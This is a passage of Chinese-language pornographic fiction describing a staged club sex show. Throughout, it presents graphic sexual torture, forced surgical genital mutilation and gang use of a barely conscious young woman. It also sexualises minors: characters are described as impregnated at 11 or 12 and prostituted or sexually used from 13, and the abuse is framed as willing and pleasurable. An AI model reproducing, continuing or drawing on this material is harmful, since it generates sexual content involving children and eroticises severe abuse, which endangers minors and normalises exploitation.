看刘媚高潮了,男青年就抽出南傍国准备下台,大强却叫住了他 这位兄弟,你的手法真高啊,有没有兴趣到哥哥场子里帮把手? 男青年听到刘天强的话停下脚步答道: 我和小媚姐越好了下周六见面,如果强哥有兴趣就周六一起来吧,详细话到时候再说。 刘天强冲着男青年点了点头继续未完成的表演。刘天强看刘媚还在回味高潮的余韵便直接将子宫反过来套在自己的巨型龟头上,右手握住子宫往回一拉,刘媚的子宫就像是男性自慰器一样套在了他的鸡巴上。也不顾刘媚的反映就自顾自的套动起来。边套弄边说: 这娘们的屄又阔又松,娶了她两年一次正常的性交都做不了,这次操她子宫也算是 圆房 了。 台下观众听他这么说就接口到: 还好意思说呢,刘媚13岁时你就开始操她,你那大鸡巴把她的屄撑的又大又阔,害得我们嫖她时只能操屁眼。 没等刘天强接话,刚回过魂的刘媚也不顾下身的疼痛就对大强说道: 哈,强哥,我总算又有个洞能让你操了,免得你以后想操屄时又说我屄松。 刘天强看看刘茜婷也恢复的差不多了就借势说道: 骚货现在就先放过你一马,观众买票是来看黑玫瑰的,别耽误了大家,晚上洗干净了在床上等着,看我不操死你个骚货。 说完就站了起来,顺势拉起刘媚,这夫妻俩就这么一个屁眼里塞着杯子两腿间夹着宫颈打开还在不停滴水的子宫另一个挺着高昂的龟头走到金属架前。不得不佩服刘媚,一般女人刚刚高潮完毕又被人强行扩张了子宫和别说走动了,就是想站起来都困难,而刘媚也只是走起路来有一点不稳而已。

听见刘媚和大强走来要继续玩弄她,架子上的刘茜婷便说道: 其实,茜婷的子宫也是可以拉出来玩的,不过茜婷现在还不能主动把子宫脱出来,需要帮忙的。 台下观众听了这话一片哗然,都知道子宫是女人最娇嫩和脆弱的部位,像刘媚这个老婊子不顾生死的让人玩弄也就算了,这么一个娇滴滴的刚满19岁的女孩也能玩弄子宫是多么的不可思议。

刘媚听女孩这么一说就问道: 小婷婷,作为一个女孩子玩弄子宫可是很危险的游戏呦。子宫如果经常被玩弄会让你生不了小宝宝的。 没关系的,茜婷和主人的两个宝宝都已经6岁了,都是很可爱的孩子呢。主人说茜婷的子宫已经没有用处了,可以随便玩弄了,而且主人也经常把一些奇怪的东西插进茜婷的子宫里呢,这次主人送我来的时候也和我说过他已经不再需要我的子宫了。 那么说你12岁时就当妈妈了?真厉害,还是双胞胎呢,的父亲是你的主人么?刘媚吃惊的问道。

可以这样认为,不过主人说宝宝们不可以管他叫爸爸,也要叫他主人。女孩弱弱的回答。

听了女孩的回答,刘媚大吃一惊。难道还真的有把自己女儿也培养成性奴的变态?不过略一细想也就释然了,毕竟能狠下心来将一个12岁的少女渐渐改造成眼前的变态模样的人作出那样的事也就不算奇怪了。

刘媚抚摸着女孩身上的刺青问道 破处2007年4月21日,初产2007年4月21日两个日期在同一天,都是你12岁的生日是不是弄错了呢?还有,刘月的出生时间是2007年10月21日两胎相隔只有6个月是怎么回事? 是这样的…… 刘茜婷开始讲述她怀孕生子的经历。

原来刘茜婷的主人叫孙斌是一所医院的妇产科医生,同时也是一个疯狂的人口学博士。当年他是在用刘茜婷做活体实验来完成他的一篇论文《人口快速增殖可行性研究》。此项研究是为了满足在全球性灾难后人口数量锐减后快速恢复人口数量。刘斌认为12岁的女性已经能够满足所有生育条件,减小女性的生育年龄是快速增加人口的一个方法。为了证明这个想法他便将自己的精子注射进11岁时还是处女的刘茜婷子宫里使她怀孕。

刘茜婷怀孕6个月后由于一次意外的摔倒而流产,刘茜婷这被这个胎儿 破处 了。这个严重不足月的早产儿经过孙斌的抢救奇迹般的活了下来,这就是刘茜婷的大儿子刘智。通过这次意外,孙斌又发现了另外一个快速增加人口的方法——缩短怀孕周期。刚刚生产过的刘茜婷在半个月后终于在孙斌每天不间断的人工授精中再次怀孕,五个半月后通过人工引产刘茜婷的二女儿刘月就出生了。

此后,孙斌每过1个月便对刘茜婷进行一次人工授精,受精卵在刘茜婷体内发育一个月后孙斌便将受精卵取出,在实验室对受精卵进行实验。这也就是刘茜婷所说的 主人经常把一些奇怪的东西插进茜婷的子宫里呢 的原因。如果这些受精卵都能够成活下来,那么就相当于刘茜婷在7年内生下了80多胎。如此频繁的受孕带来的附加效果就是女孩从来没见过自己的月经——月经将来的时候便开始人工受孕生子,在以后7年的时间里只要卵巢开始排卵便被人工受孕,有时甚至卵巢还未来得及将卵子排出,等不急的孙斌便直接使用工具通过输卵管将卵子从刘茜婷的卵巢中取出放到子宫里进行授精实验。因为这些原因刘茜婷的子宫时刻处于受孕状态从来没有等到月经来临的那一天。

可以说刘茜婷在成为孙斌性奴或者说是 胚胎生产器 的这7年来每天都在孕期中度过,这就怪不得女孩的乳房现在扔在泌乳,并且有着覆盖三分之一乳房的黑褐色乳晕和2厘米大的黑色乳头了。任何一个女人的乳房在长达7年孕激素的刺激下都会变得这样怪异吧,也难怪生产6年后的刘茜婷仍然会流出乳汁。

而孙斌对女孩生殖器的每项改造,比如割去小阴唇、尿道、将大阴唇固定在腿根使其永久分开、将阴道口切开至拳头大都是为了能更方便的从女孩子宫里提取出受精卵。而刘茜婷那被镶嵌着饰物的乳房和阴蒂、被扩张得巨大而变态的屁眼则是在刘茜婷自己的央求下顺便被调教成的样子!是的,就是女孩自愿被改造成这个样子的,女孩到底是出于什么目的进行如此极端自虐就不得而知了。而孙斌也很愿意在烦劳的工作之后放松一下——玩一玩这个随意碰一碰就会四处漏水的性娃娃。

随意碰一碰就会四处漏水 这个形容对刘茜婷来说一点都不夸张,刘茜婷的肉体可以说被改造的相当的彻底,从肉体到精神!身为医学博士的孙斌对心里学也是有着一定研究的,经过孙斌不懈的催眠和长久的心理暗示,刘茜婷现在单纯的通过幻想自己玩弄肛门在五分钟内就可以高潮,如果这时能轻触几下肛门高潮的到来更可以缩短到夸张的一分钟。通过刚刚表演的肛门深拳交表演就可以看出调教的成果,刘媚简简单单的40几次抽插女孩就连续高潮到再也喷不出水来。目前孙斌也正加强这方面的训练,刘茜婷的高潮已经有来的更快的趋势了。

孙斌曾经仔细的实验过,如果刘茜婷不束缚住乳房,在五分钟的慢跑中因乳房的抖动造成饰物对乳头的摩擦和没有包皮的巨大阴蒂上饰物的摩擦也可以使刘茜婷高潮。就更不用说将手指伸进女孩那永久性洞开的阴道刺激路标一样醒目的改造G点了——通过快速摩擦植入异物并且失去半片尿道遮盖的G点带来的强烈刺激可以使女孩在三秒种内淫水横流,五秒钟内达到高潮!

女孩那巨大的阴蒂不同于刘媚的 浑然天成 ,而是通过特殊的手法改造过的。通过类似阴茎增长手术那样将本来应该隐藏在身体内部的海绵体向外拉出一部分,并在阴蒂内部注射隆胸用的液体硅胶。两项改造使得女孩的阴蒂变得巨大了起来,并且阴蒂的表皮因为紧绷而变得更加敏感。

所以说女孩被称为 随意碰一碰就会四处漏水 一点都不夸张。在平时上学时都要穿戴特质的内衣防止漏水,上学?没错,女孩现在是一所艺校的在读学生,不过这是后话了,舞台上的表演还在继续。

女孩自诉完,刘媚除了惊愕于女人子宫的潜力外更惊愕于女孩的改造并非被迫,而是自愿或者是自主完成的,便问道: 你为什么想要主人把你的身体改造成这么变态的样子呢? 女孩听到这样的问题愣了一下道: 刚开始的时候是为了报复!但改造后的身体更容易达到高潮,后来我便迷恋上了高潮的感觉。便央求主人继续对我进行改造。 刘媚听了女孩的回答也愣了一下,就继续问道:报复?你自虐身体想报复谁呢? 我的母亲! 女孩大声回答。一个叛逆的女孩啊,刘媚想。

我的母亲是个下贱的妓女,从我记事起她就每天光着屁股在床上等男人来操。小朋友都说我是杂种小婊子!我就想让自己的身体变得更淫贱让男人们都看看婊子的女儿还是婊子,而且是更下贱更变态的婊子! 女孩狠狠的说着。

刘媚却是一阵尴尬,毕竟她也是婊子出身,听女孩这么说不禁想到自己:自己的女儿在小时候也经常看到她光着屁股在床上和男人们乱搞,女儿也知道她的工作性质每次放学回来都会回到自己房间关上门做自己的事,虽然反感但即使刘媚这边声音再大也不会出来干预。后来可能女儿和刘媚也都习惯了,刘媚可以在客厅里屁眼和阴道同时被两个男人奸淫的时候抽空和放学回家的女儿打招呼。刘媚的女儿有时甚至可以在 叔叔们 的要求下坐在客厅里一边看电视一边揉捏母亲那因为被奸淫而来回抖动的双乳。还是自己的女儿懂事啊,刘媚感叹道。不禁又有些骄傲的想到,虽然有个婊子母亲,但是自己的女儿学习成绩确是非常的好小学时一直是班里的尖子生,虽然因为女儿渐渐长大而自己的工作性质又实在不适合带着小孩只能让女儿以 单亲家庭养育困难 的名义寄宿在养父家里。刘媚很放心女儿的养父,毕竟将女儿寄宿在高级知识分子家庭也可以让女儿得到更好的教育。毕竟哪个当婊子的母亲都不会以 女承母业 为荣。更重要的是女儿的养父也并不介意刘媚的工作身份,女儿在养父的照顾下也变得更贴心了,每周女儿都会回家一次,每次从下午一点到五点的四个小时时间里向母亲汇报这一周的状况。有时候刘媚就那么一边被几个男人操弄着一边听女儿的汇报,有时候同时来嫖的人太多,刘媚的女儿还会对嫖客们说: 叔叔们,你们一个插后面,一个插前面,先不要让母亲口交了,我每周只能回来四个小时,让母亲和我聊聊天吧。 每当听见刘媚女儿这么说,那帮嫖客们便笑着夸奖刘媚女儿很 懂事.每当这时刘媚就会显得很感动,因为女儿每次临走前都会和母亲说 我很体谅您的.是啊,一个13岁的柔弱少女通过卖屄换来的钱供养女儿也确实不易,虽然刘媚也是乐在其中。不过又有什么能让女儿体谅母亲当婊子更让刘媚感动呢?

刘茜婷后面的话打断了刘媚的回忆: 后来我在9岁时通过玩弄自己的肛门第一次体验到性高潮的时候我便渐渐原谅了母亲,原来高潮的感觉是那么的美好,怪不得母亲每天都沉迷其中呢。感谢母亲遗传给我这么淫荡的身体,让我更容易达到高潮!更感谢主人帮我改造身体,使我体验到作为女人的终极乐趣! 刘媚突然很像知道是哪个 姐妹 生了这么极品的一个女儿,便打断了女孩的感慨笑着问道: 你的母亲叫什么名字呢?说不定我和你母亲还是好姐妹呢。 对不起,主人不让我说出母亲的名字。 女孩赶紧说到。

这时刘媚也想起来了,这个女孩被送过来时女孩便带着头套和眼罩,而送货的人反复强调不允许将女孩的头套摘下来。刘媚想可能是怕被人肉搜索吧,毕竟一个有如此变态身体的女孩被人知道了身份可是非常麻烦的事情。想通了的刘媚也不再继续追问,说道: 既然这样那我们就开始玩弄你这个小贱婊子的子宫喽。 呀,我也是很期待呢,要不是我的子宫对主人有用处,我也早就像让主人玩弄了呢。 女孩满怀期待的说着。

刘天强走上前替代了刘媚的位置 在玩弄你的子宫之前得先给你放放水,免得一会玩起来滑不留手的。 说完便手探进女孩打开着的阴道将食指蒙的插进失去了尿道的膀胱里,膀胱口的括约肌仅仅挣扎了一下便被突破了防线,直末刘天强的指根。

涩涩的,原来膀胱里面的触感是这样的呀,我还是第一次摸到呢。 说完又将手指用力的贴住女孩的膀胱内壁摩擦了起来。

呀,不要用力,好疼! 女孩大声尖叫着,甚至不顾乳头上的牵制剧烈的扭动起身体。膀胱内来回滑动的手指使得女孩感觉肚子里好像被针扎一样疼痛。膀胱这个永远不见天日的器官异常敏感轻轻的刺激就会产生剧烈的痛楚,怪不得女孩会有这样过激的反映。

哈哈,给你这个变态女孩一点小小的惩罚。 说完便停下了食指的动作。 咦?里面好像有东西啊! 不等女孩回答,刘天强的食指在女孩充满液体的膀胱内碰到了几样物体,说完便将食指向上一钩,胳膊向上提起。

观众们看女孩的身体跟随着刘天强的动作也向上微微抬起很怀疑女孩娇嫩的膀胱会不会被大强这个蛮子撕开。

女孩的膀胱口随着刘天强手指的上提被拉成了椭圆形,尿液顺着手指下方的缝隙流了出来。

见女孩的膀胱不在有液体流出,刘天强抽出手指促狭的放在刘媚的嘴里,让刘媚给舔干净。刘媚瞪了大强一眼,不过看到台下观众们满怀期待的眼神,只好乖乖的把手指含在嘴里 咦,很香呢,完全没有一点的骚味! 刘媚有些意外的惊叹到。

主人不喜欢有臭味的婷婷,要求婷婷每天必须清理三次膀胱和肠道。 刘茜婷解释着。

那你怎么清理呢? 刘媚对此很感兴趣。妓女被干到失禁是常有的事,那些异味很容易败了性质,看到这个黑玫瑰的主人居然可以解决掉难闻的异味便起了偷师的心思。

婷婷每次都会把一个香珠放进膀胱和屁眼里,香珠被体液融化以后就可以吸收掉臭味了。 刘茜婷倒是不怕被人学去,毕竟寻常人有尿道的阻隔想将珠子塞进膀胱里纯属异想天开了。而塞进屁眼里就更不可能被人学去了,刘茜婷每次都是将肠子拉出来后把香珠粉末涂抹在肠壁上再塞回去,平常体质的人这么一搞不死也残了。

那这么说我刚才碰到的就是香珠了?真是个好方法 刘天强说完还像刘媚瞟了一眼。

想都别想! 看到刘天强的眼神,刘媚哪里会不知道刘天强又想在她身上胡搞。

女孩这时羞羞的回答起刚才的问题 也不全是拉,其中两个是香珠,还有一个是主人让我带给二位的工具,是玩弄茜婷的工具. 哦?是什么东西,我得拿出来看看。 说完,刘天强再次将手指塞进女孩的膀胱。因为刚刚的提拉,女孩的膀胱口还没有闭合,刘天强很轻松的就将手指塞了进去。因为没有了尿液的浮力,三个东西都在膀胱出口位置。两个圆的应该是香珠,还有一个好像是橡胶制品,难道是安全套?刘天强想着便将中指也强行赛了进去,两根指头夹住了异物拉了出来。

刘天强把玩着这个东西,这东西是个两指宽5厘米长的透明套子,表面布满了黑色的硬颗粒,看起来还真像是迷你型的颗粒安全套。刘天强将这个 迷你安全套 套在两根手指上,并用这个指套隔着头套来回摩擦着女孩的脸颊 这么小的安全套给兔子用的?还放在尿泡子里,害我费这么大劲才拿出来! 刘天强愠怒着问道。

女孩一听刘天强带着些许怒气的声音赶紧解释到 不是啦,这个是专门刺激茜婷G点的生物指套,使用仿生材质制成的,放在婷婷的膀胱里是因为这种材质只有放在生理盐水里浸泡才能保持更真实的肉体触感,平时都是放在茜婷的膀胱里保存的。上面的黑色颗粒是吸铁石可以吸引茜婷G点里的小钢珠,给茜婷更强烈的刺激。 刘天强知道会错了意,尴尬的说道: 那我现在来实验一下这东西好不好用.说完将指套按在了女孩那如路标一样醒目的G点上快速的摩擦起来。

呀~刚刚摩擦了几下,女孩便放生尖叫,随着女孩的尖叫声下体大开着的阴道里流出一股股的淫水。

仿佛是为了掩饰刚刚的尴尬,刘天强卯足了力气足足摩擦了有五分钟直到女孩的阴道再也泄不出什么东西了才停手,而这时女孩再也叫不出声音了,嘴里只能发出 呵,呵, 的出气声。

刘天强将女孩双腿间的塑料盆举了起来向观众们进行展示。

哇,这女孩真是水做的,这么一会泻出了半盆的水,难道她的屄和胃连在一起了? 一个观众感叹道。

这个观众也算是猜对了一部分,可能上帝创造的人类就是一个奇迹,而女人则更是奇迹中的奇迹。因为刘茜婷从小时候就长时间受到性刺激,使得她的身体对刺激产生了一定的 进化 ,刘茜婷的性腺变得异常发达,可以在短时间内快速的分泌出常人5倍量的爱液。刘茜婷的主人孙斌,在一次公开调教中说道 如果给这个女孩不停的性刺激,这个女孩的膀胱都是多余的! 虽然有点夸张,但不难看出这个女孩的性腺确实强大到可以排空身体大部分的液体。

呵,婷婷的已经泄光了,可以玩弄婷婷的子宫了 女孩有气无力的说道。

真是变态又下贱的婊子,刚刚泄了那么多又要人玩你! 被女孩刚刚劲爆的表演刺激的有点疯狂的刘天强一边拧动这女孩那巨大的阴蒂一边狠狠的说着。

啊~ 请请一点,好疼。 女孩哀求着。

刘天强也不答话,松开了女孩的阴蒂,回手结果刘媚递过来的钳子,钳子的前端是用圆形的细不锈钢条弯成的两个弧形,如果将钳子的头部还原,可以看出这是将一个完整的圆环切割成三段后用其中的两段焊接成的。

大强将钳子插进女孩的阴道,钳子前端的弧度刚好和女孩花心相吻合。合紧把手,钳子将女孩的花心残忍的夹成了一个扁圆,在女孩不停的颤栗中将钳子慢慢的往外拉。因为疼痛,女孩的嘴里不停的发出 呵、呵、呵 的出气声,双腿也在不停的抖动。刘天强对女孩的反映不管不顾,继续向外拉扯着,直到将花心拉出女孩阴道2、3厘米才停止。

刘媚见女孩的子宫已经被拖了除出来赶忙拔出女孩屁眼里的巨型肛栓,将右手伸进去隔着一层嫩肉握住女孩的子宫,防止它缩回去。

刘天强见女孩的子宫被固定好了,便松开了钳子,拿出一个扩宫环。扩宫环也是由不锈钢管制成的,闪烁着冰冷的光泽。扩宫环是由一个直径20厘米的不锈钢环和8根长12厘米头部用万向球连接的夹子组成的,整体的样子就像是自行车的轮圈,外面的不锈钢环相当是车圈,8根螺丝相当是车轮条,如果旋转螺栓将8个夹子都伸到扩宫环的正中间,刚好可以合成一个圆形的轮轴,轮轴的直径刚好就是女孩宫颈的大小。

刘天强将 轮轴 依次固定在女孩的 甜甜圈 上,然后开始通过扩宫环外边的把手拧动螺栓。随着螺栓的拧动,被固定在 轮轴 上的子宫口也被慢慢拉开。

随着子宫口越开越大,女孩的挣扎也越来越剧烈起来。刘天强将女孩的子宫口打开到拳头大小就停止了动作。

这时,刘媚伸出左手的手指一边在女孩大开的子宫口内部划着圈一边对台下说道: 刚刚开场时说过,要在K市父老的面前给女孩再次增加一项纹身。这纹身的内容就是子宫拳交2014年4月21日! 说完便将左手握拳,从洞开的子宫口放了进去,然后做起了活塞运动一样一下一下击打着女孩的子宫内部。刘媚现在的动作就是隔着女孩娇嫩的子宫和肠壁,用左拳一下一下的击打着握住子宫的右掌。

打了差不多十几下刘媚抽出左手, 演出结束前再送给她一样礼物吧。 刘媚冲着刘天强说道。

刘天强会意,二话不说直接将还在硬挺着的巨屌插进了少女 生育过80次 的子宫猛烈的抽插了起来,百十次的抽插过后刘天强大吼一声便射出了精子。射完后刘天强冲着台下说道: 这是我这辈子插过的最紧的屄,真爽啊,所有的VIP会员都可以来一发,操子宫这么特别的事可能除了今天以后就再也体验不到喽。 刘天强话音刚落,台下的观众便争先恐后的上台来体验这难得一见的性交。

……

三个小时后,观众们散场离开,刘媚看了看奄奄一息的女孩然后冲着刘天强说道: 强哥,刚才三个小时有多少人操过这小婊子? 一共32个。 刘天强回答道。

嗯,看来今天的表演很成功啊,男人不受到非常强烈的刺激不会这么快就射出来,看来今天的表演还真是满足了观众的胃口呢。 刘媚笑呵呵的说道。收拾一下,该把她送回去了,看来以后有时间要多请这黑玫瑰来表演呢,效果真好。 说完便要解开女孩子宫口的扩阴环。

等等,别忘了黑玫瑰的经纪人说过扩宫后还要留下证据呢。 刘天强想起了送黑玫瑰来时的神秘人临走时说的话。

诶呀,强哥你不提醒我还真忘了呢。 说完刘媚拿起一支拳头型的 维纳斯手臂 放在女孩的子宫里,然后才卸下扩张环。随着子扩张环的拿开,青春女孩的子宫口快速的合拢了起来,当然也把32个人的子孙一起包裹了起来,在维纳斯手臂 的堵塞下一滴也没有流出来。

年轻真好,皮肤的弹性强,子宫这么快就缩回去了。我这都半天了子宫还开着这么大的口子。 刘媚一边说着一边将三根手指并拢起来插进子宫里。

不缩回去更好,深得一会操你子宫时还得重新扩开。 刘天强也不回头,一边将女孩那巨型肛栓重新塞进女孩的屁股一边说道。

将挂着女孩的金属框用厚布盖好后,刘天强吩咐服务员打扫会场,也不穿衣服便和同样光着屁股的刘媚两个人推着笼子来到俱乐部的后巷里,将架子放在墙角。

就放这? 刘媚有点担心, 万一被谁推走了怎么办。 送她来时那个人不是说过 用完后放在后门外 了么,他都不担心我们管个鸡巴。 刘天强大咧咧的说完,顺手拉起刘媚还挂在外面的子宫 回家,今天我得爽个够。 说完就这么牵着刘媚在女人的一路尖叫声中向停车场走去。